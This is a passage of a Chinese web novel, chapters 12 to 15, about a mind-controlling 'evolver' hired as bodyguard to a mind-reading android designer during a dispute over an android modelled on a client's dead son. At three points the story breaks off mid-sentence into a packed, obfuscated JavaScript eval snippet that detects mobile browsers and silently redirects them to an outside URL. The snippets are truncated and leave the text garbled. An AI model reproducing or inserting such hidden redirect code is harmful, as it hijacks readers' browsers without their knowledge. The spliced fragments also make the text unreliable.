据说,庾林鲜少接受女客户的定制委托,就算因为人情世故接了单,也很少面对面交谈。 所以这次庾林同意来拜访女客户,楚君才会感到意外。 听了楚君分享的消息,周拾秋对于庾林此人的疑惑更深了。 当后座的两人交头接耳沉迷八卦之时,坐在副驾驶座上的人不时透过车内后视镜偷看着二人。 他对他们窃窃私语的内容并无兴趣,只是思考着眼前这个进化者对自己而言为何如此特殊。 难道只是因为她是进化者吗? 他想弄清这个谜题。 12. 第012章 交通车在绿茵成林的园区内行驶了五分钟,才终于停靠在一栋别墅前。 安保人员留在门外,他会一直等到访问结束,再送三人返回停车场。 楚君按响了门铃。 庾林将周拾秋拉到身边,小声叮嘱:“别忘了带你来这里的目的,保镖小姐。” “嗯嗯,洁癖嘛,知道了!” 周拾秋一边敷衍地应答,一边翻了个白眼。 庾林面露意义不明的笑,说:“还有一件事得提醒你,要我这样去见客户的人可是你,秘书小姐,如果一会儿出现得罪客户的情况,你得负全责,因此造成的公司损失,你也得赔偿。” 周拾秋怀疑庾林在给她挖坑,可惜暂时没有证据。 未等到她回应,别墅的门就开了。 前来应门的是卓女士家的仿生人女佣,被设计成一位朴实敦厚的中年妇女,她客气地将来访的三人请进了家门。 将客人妥帖地安排在客厅坐下,女佣又按照客人的口味偏好,准备了两杯咖啡和一杯白水,随后上楼去叫女主人。 看着庾林面前放的那杯白水,周拾秋忍不住调侃:“你们老年人都这么养生吗?” “我心脏不好。” 庾林面不改色地回了一句,实在听不出是玩笑,还是真心。 不多时,楼梯处传来脚步声,瞬间吸引了所有人的注意力。 一位看上去雍容华贵的夫人慢悠悠地下楼来到客厅,脸上化着精致的妆,可依然难掩眼底的疲倦之色。 她一脸严肃,见到人也不露一丝笑容,只是目光清冷地扫过在场三人,让人不由得生出点敬畏之意。 周拾秋觉得,大抵这就是有钱有势的理想者基本的底色——傲慢而冷漠。 她转头看了一眼身旁的楚君,只见小职员已经紧张到手指打结、不停咽口水了,心中不免有些同情。 她无比庆幸自己出生在禁仿区,多少还能感受到人情味。 楚君一见卓女士走近,就着急地放下手中咖啡,嗖的一声站起身,习惯性点头哈腰,朝卓女士问好,简单介绍了三人身份。 周拾秋见状也不好坐着不动,随楚君一道站起来打招呼。 只有庾林坐着不动,还毫不生分地招呼卓女士入座。 卓女士的视线轻飘飘地略过周拾秋和楚君,就像二人从未存在过,当她的目光落在庾林身上时,冷漠的表情立马被热情取代。 “听说庾总监本人要来,我一直在家里候着,可总算把您给等来了!”卓女士一边说着一边往庾林身边走。 自由区的人还真是势利眼,待人处事的态度简直天差地别。 周拾秋一边这么想着,一边不忘委托人的嘱托,及时挡在了庾林和卓女士之间,就像拦住粉丝的保安,坚决不让卓女士再前进一步。 她试图将卓女士往旁边沙发引,嘴上热情招呼:“我们庾总也太想见您了!哈哈哈……我们要不坐下来聊。” 卓女士不为所动,根本不管周拾秋说了什么,她依然维持着脸上微笑,朝庾林伸出了手,夹着嗓子继续说:“我还担心不能与俞总监面对面交流呢,你能来,真是我的荣幸。” 话说到这份上,周拾秋觉得有些难办,余光偷瞄着庾林。 然而她眼看着坐在沙发上纹丝不动的庾林,在卓女士伸手后,默默将双手插进了衣兜里。 尴尬,周拾秋整个人都僵住了。 这一刻,她隐约明白庾林要她负责的是什么,而这个坑显然不太好填。 看庾林事不关己的模样,要让他去应付卓女士是指望不上了,周拾秋只能硬着头皮一把握住了卓女士的手。 “能与卓女士见面,也是我的荣幸!” 卓女士的脸色以肉眼可见的速度冷下来,虽未当面撕破脸,可还是拧着眉将手缓缓抽回。 “私人秘书?”卓女士后退两步,拉开了与周拾秋的距离,举止优雅地坐到一旁,目光轻蔑地落在周拾秋脸上,“外界传闻,庾总监从不在身边安放女职员,怎么突然……” 卓女士说话的语调虽然平淡,可配上高高在上的疏离感,总给人一种兴师问罪的错觉。 一直关注着场上局面的楚君,双手交叠在身前,因用力的挤压,指节泛白,指尖深陷,神色紧张得仿佛下一秒就会呼吸不畅、当场昏厥。 一边是不能得罪的客户,一边是不能怠慢的关系户,楚君疯狂思考着该如何解除当前的危机,最后灵机一动,解释道: “呵呵,有些事,还是女孩子细心,总监非常在意您的委托,担心单从男人角度思虑不周,所以特意雇佣了女秘书,就是为了更全面地了解您的需求。” 这一番话说得滴水不漏。 卓女士的面色稍有缓和,嘴角噙着笑,看向庾林的眼神更加满意了。 “业内皆传,俞总监最懂客户需求,果然名不虚传。”卓女士吹捧道。 在楚君专业的引导下,卓女士总算放弃与庾林拉近关系,转而进入了业务正题。 周拾秋坐在靠近卓女士的那边,依旧保持着隔离卓女士与庾林的状态,虽然不知道庾林为什么要让她做这种得罪人的事,可这是委托内容,看在两百万的份上,她只能照做。 三人的话题总算到了定制仿生人一事上,周拾秋其实对他们说的话并不感兴趣。 就像众多守旧者一样,周拾秋也不是很能理解,为何理想者能这么轻松地谈论着制造出一个与真人无异的仿生人,并仅仅将其当做一种商品。 不管是康管家,还是别墅区的安保人员,亦或者卓女士家的女佣,他们全都像真人一样活着,工作着,周拾秋很难将其与普通人类区分开。 大概唯一的区别就是刻意保留的泛着淡蓝色光泽的螺旋状虹膜。 有时候,周拾秋觉得仿生人与进化者很像,唯一的不同点是,仿生人的存在是被允许的,而进化者的存在不被允许。 当周拾秋胡思乱想的时候,三人的对话无法避免飘进了她的耳朵里。 于是即便不感兴趣,她还是大概了解了整个事件的始末。 卓女士一年前在态宇仿生科技定制了一个仿生人,其原型是卓女士过世的儿子,而负责这个项目的设计师也并非庾林。 一个月前,卓女士以定制品有瑕疵为由,向态宇仿生科技提出了仿生人重制的要求。 这在定制业务上其实并不是什么大事,一般都会按照顾客需求返场检查后,进行改进。 可卓女士定制的仿生人已经被她砸成了废铁。 在这种情况下,根本无法在原产品的基础上进行修缮,只能重新按照参数制作新的仿生人。 但是,这不符合免费保修协议,需按照新的仿生人制作流程收取相应费用。 卓女士同意退货重做,并支付相应定制费用,可她又提出一项新要求——新的仿生人必须由庾林亲自设计。 这种要求多少有点强人所难,态宇仿生科技一边不好得罪客户,一边又不敢强求庾林,只好两头劝。 庾林也是强硬,死活不松口,于是这场比赛谁更熬得住的业务纠纷一直拖到了今天。 楚君将手里的文件双手送到了卓女士的面前,满脸堆笑说:“这是上回设计仿生人前收集的问卷调查数据,您可以看看有哪些地方您不认可。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14528858|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卓女士并没有接过文件,她看也不看一眼,视线从楚君脸上轻扫而过,带着点轻蔑,最后落回庾林脸上,说:“文件我上回就确认过了,并没什么问题。” 楚君愣在原地,有些无所适从,收回文件也不是,继续强求卓女士看文件也不是,只能讨好地挤出一丝笑,柔声询问:“如果数据没有问题,那您是对哪里不满意呢?” “就是不像我儿子!”卓女士的声音忽然尖锐起来。 楚君连连点头:“嗯,我明白,主要我们严格按照问卷调查收集到的数据制作,如果您觉得哪里不像,可以看看数据中哪里与您的印象有出入,我们好调整。” “数据我看过了,没问题,我不是签过字了吗?”卓女士一脸不解。 整个对话陷入了一种怪圈,楚君想通过数据了解卓女士的诉求,可卓女士并不认为数据有问题,但对于最终按照数据制作的成品就是不满意。 连身为局外人的周拾秋都逐渐明白这次纠纷为何能持续这么久了。 看着楚君陷入绝望,却努力想要通过沟通爬出深渊的模样,周拾秋有些想帮他一把。 她突然坐直了身子,视线锁定在卓女士身上,眼中微微泛起金色的波纹,声音轻柔道:“卓女士,或许你……” 话刚开了个头,周拾秋就感觉腰被人掐了一把。 她急忙收敛了异能,转过头,一脸诧异地望向捣乱者。 只见庾林眉头紧锁,将手从她腰上移开,可视线依旧与她对峙,并传递着警告之意。 话突然断线,卓女士不悦地盯着周拾秋,问:“我或许什么?你有什么高见,不妨明说。” 卓女士问话的声音充斥着不耐烦。 周拾秋被庾林打断,又被他以目光威胁,一时也不好再继续发动异能,正思考着该如何糊弄过去,庾林突然抢在她之前开了口。 “你的需求我明白了,我会重新为你设计方案,到时候发给你确认。”庾林平静地说出了总结的话。 周拾秋不知道庾林是真懂,还是装懂。 整个沟通过程,几乎都是楚君在主导,庾林一个字都没说过。 他怎么就突然明白了? 与周拾秋的合理怀疑不同,卓女士对于庾林说的话似乎深信不疑,激动地点着头,“我就听说庾总监能精准抓住客户需求,所以才希望由您亲自操刀,果然与聪明人说话没这么费脑。” “喂,他根本就没跟你说话啊!”周拾秋心里吐槽。 面对卓女士的夸赞,庾林一脸的不在意,没有接话,而是严肃地交代别的事。 “仿生人芯片,我们就不调取查看了,明天会将芯片连同仿生人一同销毁,还请卓女士亲自出席,具体时间会有业务员跟你联系。” 听到庾林的话,卓女士仿佛松了一口气,激动地起身要与庾林握手。 周拾秋眼疾手快地一把握住卓女士的手,道:“都是我们该做的,卓女士不必言谢!” 庾林看着一脸嫌弃的卓女士和一脸虚情假意的周拾秋,脸上难得染上一分笑意,简短地说了一句“告辞”,便往屋外走。 楚君见状赶紧向卓女士道别,急匆匆追了上去。 周拾秋一边阻止卓女士出门相送,一边以后退的方式追赶着庾林的脚步。 等回到停车场,庾林一副精疲力尽的模样坐到了车后座。 与楚君告别后,周拾秋坐回车里。 透过车内后视镜,她观察着后座正在重新穿戴装备的庾林,嘴里忍不住吐槽:“请问你有做什么事吗?” “开车。” 迎接周拾秋的依然是一句简单的指令。 13. 第013章 周拾秋不得不怀疑,庾林平时都不与人交流,只会对仿生人下指令,所以直接将别人当做仿生人使唤。 周拾秋瞬间起了反骨,没有依言发动车子,而是侧转身子,摊开手掌放到了庾林面前。 “干嘛?”庾林停下戴手套的动作,眼神疑惑地看向周拾秋。 周拾秋一本正经地回答:“车费,这一趟怎么也得五十。” “你们守旧者都这么爱钱吗?” 庾林瞥了周拾秋一眼,将刚戴上的手套取下,伸手到衣兜里找手机。 看他一副准备付钱的样子,周拾秋又将手掌收回,说:“你如果会说请字,我也不是不可以给你免单。” 庾林被她说得一愣,对视一眼后,被围巾包裹的脸上又露出些许红晕,低声说:“司机小姐,劳烦出发。” 周拾秋满意地冲他笑了笑,嘴上说着“不麻烦”,转身绑好安全带,发动了引擎。 卓女士的纠纷事件,开始得莫名,结束得草率,钩得周拾秋心里痒痒的,她很好奇庾林究竟能拿出什么惊世骇俗的解决方案。 于是,在回酒店的路上,周拾秋忍不住旁敲侧击。 “如果我找你定制仿生人,你觉得我会有怎样的诉求?” 庾林对这个问题嗤之以鼻,断言:“你不会定制仿生人。” 周拾秋一听就不乐意了,反驳:“我凭什么不会定制仿生人,你这是对守旧者的偏见!” 庾林嘴角含笑,冷冷回道:“因为你没钱。” 一句话便将周拾秋噎住,她完全没想到话题能朝这个方向发展,嘴里不服气地说:“那还不是你害的?你如果能撤销差评,我铁定能挣到定制仿生人的钱。” 庾林饶有兴致地问:“你在禁仿区定制仿生人能做什么?” 周拾秋想了想,随即带着一脸坏笑,转头对庾林说:“嘿嘿,我定制个跟你一模一样的仿生人。” 一段记忆从庾林脑海中一闪而过,他顿时怔住,晃神间,一抹潮红爬上了耳垂,他将围巾往上拉扯,声音低沉地问道:“你想干嘛?” 周拾秋露出一脸反派的阴险笑容,直言不讳道:“哼,我每天拿他当出气筒、解压沙袋!” “你最好是。”庾林轻声嘀咕。 “什么?”周拾秋并没听清楚。 “没什么。”庾林赶紧转移了话题,“你做不到的。” 周拾秋有些气恼,嘴里喋喋不休:“凭什么做不到?你又在质疑我危代人的能力?我都说了,没遇上你之前,我所有委托都顺利完成了好吗?这不是说明,问题不完全在我嘛,产生误会,你自己也有责任好不……” 庾林悄悄松了口气,随后打断了周拾秋的抱怨,说:“我的意思是你没法对仿生人下手。” “为啥?” “因为你会将仿生人看做真人,这是理想者与守旧者最本质的区别。” “……” 这一次,周拾秋找不到理由反驳了。 她感觉自己似乎又被庾林看穿了,在她眼中,仿生人的确与真人没有区别,更令她好奇的是理想者的想法。 “在你眼中不是吗?”周拾秋好奇问道。 庾林十分坦然地点了点头:“仿生人是可以被销毁的商品。” “康管家也是?” “是。” “那他存在的意义是什么?” “因为我需要有人照顾我的生活。” 庾林轻松应答着,不带一点感情色彩,周拾秋再一次感受到了自由区的冷漠。 这时周拾秋终于能理解,为何卓女士能将以自己去世儿子为原型制作出的仿生人砸烂,因为在她眼中,那就是一件不满意便可随时销毁的商品。 所以仿生人的交易在自由区才能成为一件稀松平常的事。 周拾秋在这份观念差异带来的震撼中沉默了,甚至忘了提出这个话题的初衷。 于是,直到车子停在了天宫酒店大门外,她也没能弄清庾林究竟打算如何解决卓女士的古怪诉求。 庾林连道别的话都没有说,就径直下车进了酒店,气得周拾秋涵养全无,冲着他的背影又比了个友好手势。 回到花店后,周拾秋将发生的事告诉了齐绮。 齐绮丝毫没有表现出惊讶,耸耸肩说:“很正常啊,不然你觉得为什么世界会分裂成禁仿区与自由区,并以高墙相隔?” “话是这么说不错,但以前并没有实感,我这回是涨见识了,好可怕的理想者……”周拾秋不由得打了个寒颤。 齐绮大笑起来:“是不是觉得进化者也没那么特殊了?” 周拾秋认同地点点头:“确实,就理想者那冷漠程度,与进化者有什么区别,他们才更像犯罪者哩!” “不过,你昨晚也不打声招呼,就一个人跑去自由区,我还担心你冲动闯祸呢!”齐绮话锋一转,厉声责备。 周拾秋立马讨好地给齐绮捶肩,心虚地回道:“怎么会呢?我是那种冲动的人吗?” 齐绮毫不心软地拆穿道:“你是。” “哎呀,真的没有,你要相信我。”周拾秋撒娇。 “没有就好。”齐绮妥协。 不算说谎,昨晚的确没有冲动,她差点冲动杀人灭口是在今天早上。 此刻周拾秋想起在车上与庾林发生的冲突,不由得心虚一笑。 虽说昨晚相安无事,但周拾秋回想起了夜里的怪梦,脸上不禁泛红,她赶紧转身上楼,边走边打着呵欠,随便找了个借口。 “庾木木家肯定风水不好,我一晚上没睡好,这会儿去补个觉。” “去吧。”齐绮并没有起疑,温柔地应了一声,随后想起什么事,又冲着她的背影补充道,“对了,瑞波恩的处分应该快下来了。” “嗯?” 周拾秋此刻脑子里乱成一团,随口应答。 “客户经理023今天联系我了,说基本确定要封号十个月,这已经是他能帮忙说情减轻惩罚的最大限度了,让我做好心理准备。” 齐绮说话时语气满不在乎,毕竟危代人账号她平时很少用,总觉得帮委托人承担负面情绪或解决危机,性价比太低了,挺影响心情。 “哦。” 周拾秋的心思根本不在这上面,甚至根本没空思考齐绮说的话,便匆匆上楼回到了房中。 锁上门,周拾秋捂着已经滚烫的脸颊,躺在床上缩成一团,整个人藏进了被子里。 “天啊,周拾秋,你怎么会梦到庾木木那个讨厌鬼!” “不不不,那不是庾木木。” “对,应该是五年前那个小哥哥,只是他们的眼睛太像了,我才……” 周拾秋一边自言自语,一边在床上打滚。 此刻满脑子都是昨晚梦境中诱人的画面,无论她如何挣扎,也无法将那些想法彻底甩出脑海。 她觉得一定是五年前的执念又死灰复燃,才会让她胡思乱想。 五年前,当她还能依靠诅咒确定自己的心意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14528859|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时,她第一次遇见想要据为己有的人,可惜那人没有听从她的劝告,最终还是难逃死亡的厄运。 未能得到的遗憾陪伴了周拾秋很久,直到时间渐渐将其抚平,那个人的脸也在记忆中变得模糊。 或许是因为庾林的眼睛跟那人很像,所以又勾起了她那份意难平。 “对,我一定把庾木木当成他了。” 周拾秋在心里自我安慰着,否则她很难想通,怎么会对讨厌的人产生占有欲。 在羞耻感的挣扎与胡思乱想中,周拾秋逐渐睡了过去。 睡梦中,她似乎又回到了那个夜晚。 当周拾秋睁开眼时,整栋房子已陷入一片火海,火光与热浪舔舐着屋内的一切。 周拾秋可以确定,屋内有四人。 除了正被她意识控制着身体的委托人外,还有两个人躺在地上已经死透了,另外一个年轻男子,被五花大绑扔在地板上,所幸还活着。 周拾秋感觉手里有东西,一低头就看见自己一只手握着打火机,另一只手则提着汽油桶。 并且,她两只手上都沾满血污,呆立于被熊熊烈火包围的房子中央。 “钱难挣,屎难吃,这回又遇上坑爹的委托人了……” 周拾秋嘴里骂了一声,当即打算脱离这具身体。 可一晃眼,余光瞥见了被绑的男子。 在火光中,周拾秋有些看不清男子的脸,只是心里异样的感觉,让她觉得就这么让他死了,实在可惜。 于是周拾秋走到男人面前,伸手抚摸着男人的脸颊,不紧不慢地对男人说: “如果你愿意做我男朋友,我不介意顺便救你一命。” 男人的眼中满是疑惑与震惊,可求生的欲望很快便淹没了一切情绪。 见男人要点头,周拾秋用手指抬起男人的下巴,带着灿烂的笑,对男人说: “但你不能喜欢我哦,否则你会死。” 看着男人愈发困惑的眼神,她只觉有些好玩,轻轻揉了揉男人凌乱的头发,带着玩味的笑宣布:“从现在起,你属于我了。” 大火却突然吞噬了一切,周拾秋猛然掀开被子,从床上坐了起来。 当意识到自己只是做了一场梦后,周拾秋长舒了一口气,然后发觉后背和脖子都被汗湿了。 她干脆起来冲了个澡,好让自己清醒些。 她已经很多年不做这个梦了。 果然还是因为庾林让她想起了当初那个人。 她分明记得自己将男人从火场救出,可最后从新闻里得知,男人最终还是死了。 那时她觉得,男人大概率是喜欢上了她,所以才会被她的诅咒害死了。 后来做梦,她永远都梦不到将男人带离火场,每次的结局都是被大火吞噬,然后被惊醒。 梦的次数多了,她甚至怀疑自己一开始就没能将男人救出。 等冲完澡出来,周拾秋发现手机上提示,危网收到私信。 于是她用电脑登录危网查看,只见一条没头没尾的消息。 【木木:明早9点来接我。】 短短一句话,没了下文。 消息是几分钟前发过来的,她正准备骂人,突然又弹出了一条新消息。 【木木:请。】 周拾秋莫名感觉一阵好笑,随即在聊天框输入一句回答。 【乌鸦:好的,庾木木先生。】 这一次,未读立即变成了已读,但对面没有再给予回应。 14. 第014章 第二天一大早,周拾秋又一次驾车前往自由区,准时在9点赶到了天宫酒店。 大老远,周拾秋就望见庾林跟个假人模特一样站在酒店大门口。 倒不是因为庾林样貌太过出众,而是能有这种显眼包打扮的人,周拾秋觉得除了庾林,整个陵沪市找不到第二个。 今天庾林穿得不那么休闲,西装笔挺,搭配上他令人眼馋的好身材,虽然平添了几分生人勿近的霸道感,但是不得不说,别有一番风味。 可问题是穿着一身帅气西装的庾林,依然是围巾挡脸,手套遮手。 周拾秋有些抗拒将车开过去,可庾林已经认出她的车,还冲她招了招手,引得路人纷纷侧目。 周拾秋竭力将头压低,将车停到酒店门口,招呼庾林上了车。 庾林刚一关门,周拾秋就一脚油门逃离现场。 “庾木木……你是准备抢银行,还是怕冬天的太阳晒伤你娇嫩的皮肤?”周拾秋不留情面地讽刺道。 “上班。” 庾林冷淡地回答,说着指了指导航仪,补充一句,“态宇仿生科技。” “呃……这身打扮是你们公司传统?” 周拾秋不停地通过车内后视镜偷瞄着后座的怪人。 庾林被她盯得有些心烦,将围巾和手套一一摘除,反问:“你猜有没有可能是我个人需求呢?” 周拾秋腹诽:“什么变态需求……” 庾林并不解释,只轻描淡写地说:“今天保镖任务继续。” 周拾秋清了清嗓,脸上难掩笑意,声音也随之变得温柔,“是不是通过我昨天的表现,发现了我身为危代人的真实实力?” 说罢,周拾秋一脸期待地望着映在车内后视镜中的男人。 庾林视线落在窗外,漫不经心地回答:“做这么久危代人,居然没人给你差评,真稀奇。”说话时,他转头看向前方,而此刻周拾秋正扭过头来怒瞪他,两人的视线恰好撞上,于是他厉声命令道,“看路!” 周拾秋心塞地收回视线,气呼呼地回怼:“你活这么久都没被打死,也挺稀奇。” “谢谢关心,我平时不出门。” 庾林并没有被这句话激怒,软绵绵地回应道。 周拾秋感觉到前所未有的无力感,那种跟人说话永远对不上频道的无助,千言万语挤在喉咙里,却不知道该从何说起,最终只有五个字从牙缝中挤了出来:“你高兴就好。” 庾林一直盯着周拾秋的眼睛,看着对方从欣喜到失望再到放弃,他为捉弄成功而窃喜,满意地扬起嘴角,转头望向窗外。 “上班要迟到了,乌鸦小姐。” 冬日的阳光无论如何炫目,也不会让人觉得灼热难耐,它只会适量地为这世间的清冷点缀上几分温度。 庾林很喜欢这样不具攻击力的阳光。 或许因为他体验过心寒,所以总想得到些温暖,却又害怕会被灼伤。 他可以看到世人心中的欲望,这是他一直隐藏的秘密。 读心。 这异能很好用,他可以轻松读懂客户心中所求。 然而这异能也带给了他注定孤独的一生,如同诅咒一般。 他不能与异性接触,只要稍微的皮肤碰触,都会令他心脏超负荷,任何一次不小心,对他来说可能都是致命一击。 他总能听见一个声音说:“这是对你的惩罚!” 直到眼前这个女人出现,当那只柔软的手拍打着他的脸颊,没有死亡的威胁,也没有死神的低语。 内心深处一个声音呢喃:“你属于她。” 这声音让他反感,而女人眼中也流露出对他的厌恶。 可是,他从女人眼中看到的欲望实在让他哭笑不得——征服与占有。 这个奇怪的进化者,脑子里不是充斥着如何杀掉他,就是隐藏着如何推到他的想法,却让他看到了一抹光。 一簇可能带给他久违的温暖,却同时也可能将他烧成灰烬的火焰。 让他既排斥提防,又好奇靠近。 他明明想要远离这个麻烦,可当麻烦不停搅乱他一成不变的生活时,他一次又一次选择了妥协。 因为她的出现,让他带着纠结的情绪,探索着走出了自我保护又与世隔绝的房间,让他似乎看到了一点希望——或许他也能活得跟普通人一样。 “到了,老板!” 前方传来周拾秋懒洋洋的声音,庾林的思绪被拉回,他才发现车子已经停在了态宇仿生科技大楼的门前。 “开到地下停车场,你得跟我一起上楼。”庾林习惯性地给出指示。 周拾秋脸上闪过一丝不爽,没说话,将车开进了地下停车场,然后跟在庾林身后进入了这栋神秘的大楼。 周拾秋没有过职场生活,一毕业她就选择与齐绮一同创业,开了花店。 并不是有多想创业,只是因为她特殊的身份,远离人群,减少潜在的危险,仅此而已。 所以跟在庾林身后的周拾秋对楼里的一切都充满好奇心。 她一路走,一路看,井然有序的办公环境,从未见过的设备,穿着制服的员工,一切在她眼中都是新奇的符号,总能引起她没见过世面的感叹。 而与她擦肩而过的人,无一例外频繁回首,异样的目光,交头接耳的议论,不止对庾林,更是对她。 “什么情况?这人谁啊?敢在这个时间点大摇大摆来公司?” “嘘,定制仿生设计部门的总监,你想被开除?” “这么帅的高管,我怎么会没印象?” “哼,一年都出现不到两回,能见到一回就算中了头奖!” “总监身后的守旧者是谁?客户?” “哈哈哈,守旧者来定制仿生人,这是我这辈子听过最好笑的笑话了。” …… 一路上都是偷偷围观的人,看得周拾秋都有些不好意思了,而庾林根本不在意旁人的目光,全程目不斜视。 周拾秋觉得,目中无人大抵就是形容他这样的家伙。 当庾林转入一个独立办公区域,周拾秋看到门牌上写着“定制仿生部”。 里面的人见到庾林比外面的人更加拘谨,赶紧起身向庾林问好,在这些人中,周拾秋看见了楚君的身影。 楚君偷偷朝她招了招手,周拾秋便冲他笑着点了点头。 庾林没有理会问好的下属,转身进了总监办公室,然后让周拾秋关上了房门。 周拾秋一脸好奇地在房间里转了一圈,看见什么都忍不住上手摸一摸,随后对坐在办公桌前的庾林说:“嘿嘿,你不会真想我雇当私人秘书吧?那我现在是不是该去给老板准备咖啡?” “我心脏不好,不管是对你,还是对咖啡。” 庾林冷冷回道,然后便不管周拾秋,埋头在电脑上忙碌着什么。 周拾秋在房间里站也不是,坐也不是,无聊得抠手指,索性走到窗边,看看楼下的车水马龙。 过了一会儿,传来一阵敲门声,周拾秋如同获救一般冲到门边。 开门一看,来人是楚君,双手将文件夹抱在胸口,脸上紧张的神情正传达着他内心的慌乱。 周拾秋忍不住偷笑了起来,她觉得庾林这人平时一定没少甩人脸色,所以公司里的人都挺怕他的样子。 不过,在周拾秋眼中,庾林顶多算冷漠和讨人厌,和大多数有钱有势的理想者一样,却算不得洪水猛兽。 “总监,旧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14528860|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样摧毁安排在上午10点,地点在307实验室,昨天已经通知了卓女士,这些是上次定制前从相关人员处收集到的调查问卷原件。” 楚君拘谨地走到桌前,毕恭毕敬地将手上资料放到桌上,然后老实地等待指示。 “知道了,卓女士到了告诉我。” 庾林头也不抬地冲楚君挥了挥手。 楚君不敢停留,赶紧转身离开了办公室。 周拾秋透过百叶窗观察着房间外,只见楚君一出门就被办公区的人围了起来,她很好奇他们在谈论什么,可房间隔音太好,她就算将耳朵抵在玻璃上,也听不见一丁点声音。 “别白费力气了,他们说什么你都不用在意。” 庾林突然开口,吓得周拾秋赶紧远离了窗玻璃。 周拾秋无聊地踱步到沙发旁,也不管雅不雅观,直接躺倒在沙发上,只管让自己舒服些,她觉得没脱鞋已经足够给庾林面子了。 庾林抬头看了一眼在沙发上打滚的人,无奈地摇了摇头,最终什么也没说。 “对了,瑞波恩的处罚应该快下来了,恭喜你呀,成功让一位伟大的危代人封号!” 周拾秋从沙发上坐起身,趴在沙发靠背上,带着些怨气望向庾林,话中满是嘲讽的味道。 “封号多长时间?” 庾林的视线从电脑屏幕转移到周拾秋脸上,眼中露出几分戏谑。 周拾秋老实回答:“十个月。” 庾林轻笑:“处罚轻了。” 周拾秋气呼呼地怼道:“哼,只要你帮我把债还清,号随便封,我才不在意呢!” “是吗?我怎么看你挺乐意做危代人。”庾林面带质疑。 周拾秋强辩道:“谁爱管你们理想者的破事啊,我是为了还债好吧?” 庾林趁机劝说:“正好,早点注销账号。” 周拾秋小嘴一撅,随口骂道:“什么都管,啰嗦!” “别人的意识控制你的身体,不觉得厌烦吗?”庾林微微皱起眉头。 “嗯?反正烦的又不是我。”周拾秋一脸无所谓,然后抓准机会嘲讽道,“你觉得烦还干嘛成为瑞波恩客户?” “没什么,你高兴就好。” 庾林显然不打算再继续聊下去,反手就用她不久前说的话堵住了她的嘴。 周拾秋只觉一阵憋闷,随口威胁道:“你今天是不是想跟卓女士来个亲密接触?” 说这话时,一些不怀好意的想法从她脑中一闪而过,虽说只是威胁的话,可她当真想试试任由卓女士靠近庾林会怎样。 也算是满足她的好奇心,因为庾林口中的洁癖借口根本不足以支撑他的行为。 庾林似乎洞悉了她的想法,立马反威胁道:“你不想还债了?” 周拾秋立马变老实,乖巧地眨眨眼,问:“老板,喝水吗?” “不喝。” “好嘞!” 周拾秋识趣地闭上了嘴,继续躺回沙发上。无聊中,困意渐渐袭来,她感觉眼皮越来越沉,迷迷糊糊竟睡了过去。 半梦半醒间,她听到了敲门声,然后进屋的人似乎又被庾林赶了出去。 她想起来看热闹,奈何困意太浓,仿佛将她封印在睡梦中,最终她放弃了抵抗。 恍惚间,她又回到了那个被火焰包围的房子。 闪烁的火光中,她用手指抬起了男人的脸。 男人的眼神里写满了求生欲,不用开口,她就知道,男人想要逃离这片火海。 可一转眼,她似乎看清了男人的脸,倒在地上的男人变成了庾林。 此刻庾林正穿着睡袍,腰带将睡袍松散地系住,衣襟敞开,那条不宽不窄的缝隙从胸口一直蔓延到腰间…… 15. 第015章 忽然感觉有人在戳她的脸,周拾秋艰难地睁开眼,正好对上一双眼睛,与梦中出现的那双重叠到一起,她迷迷糊糊地呢喃道:“你还没死?” 随即,周拾秋的额头就遭到一记爆栗。 庾林不客气地回了句:“让你失望了?” 周拾秋猛地从沙发上坐起,终于从迷茫中清醒过来,想起自己还在庾林的办公室。 此时房门敞开着,门边还站着一个人影,定睛一看,是楚君,他脸上露出一副想笑又不敢笑的样子。 “卓女士到了,赶紧起来。” 在庾林的命令声中,周拾秋顺从地站起身,一边整理着衣服,一边让庾林帮忙看看她头发乱没乱。 庾林一脸不情愿,可手还是自觉地抬起,帮周拾秋将凌乱的发丝捋到合适的位置。 周拾秋看着眼前的庾林,不免又想起了刚才梦境中的人,那身仿佛在勾引她的打扮,实在让她难为情。 她反复在心里默念:“梦是梦,人是人,梦里不是他。” 强装镇定等到收拾完毕,周拾秋急忙远离庾林朝门外走去,这时才发现门边的楚君正用异样的眼光打量着自己。 不过只是一瞬间,因为庾林一转身,楚君立马低下了头,一边伸手指引着方向,一边走到前面带路。 三人坐电梯抵达了三楼,在307实验室的门外见到了春风满面的卓女士。 周拾秋很懂事地赶在卓女士迎向庾林前,稳住了卓女士,一边向对方表达着欢迎之情,一边将人往实验室里请,完美地挡在庾林和卓女士之间。 实验室被透明玻璃分割成两半,一道厚重的门将两个区域连接在一起。 门外是观看区,摆放着一排座椅,正对着玻璃内的空间。 